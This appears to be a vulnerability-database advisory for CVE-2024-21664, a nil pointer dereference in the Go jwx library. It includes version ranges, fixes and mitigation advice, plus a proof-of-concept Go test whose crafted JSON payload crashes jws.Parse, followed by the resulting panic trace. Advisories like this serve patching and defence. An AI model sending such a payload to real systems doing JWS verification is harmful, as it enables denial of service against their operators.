CVE-2024-21664 is a medium-severity (CVSS 4.3) NULL Pointer Dereference vulnerability in github.com/lestrrat-go/jwx. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/lestrrat-go/jwx — see the affected versions and patch details below.
Parsing JSON serialized payload without protected field can lead to segfault
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-21664.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/lestrrat-go/jwx🐹github.com/lestrrat-go/jwx/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lestrrat-go/jwx | ≥ 1.0.8&&< 1.2.28 | 1.2.28go get github.com/lestrrat-go/jwx@v1.2.28 |
| 🐹Go | github.com/lestrrat-go/jwx/v2 | all versions | 2.0.19go get github.com/lestrrat-go/jwx/v2@v2.0.19 |
Affected Products
jwxlestrrat-goResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lestrrat-go/jwx to 1.2.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-21664 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2024-21664 in your dependencies?
Find it across Go, including transitive dependencies.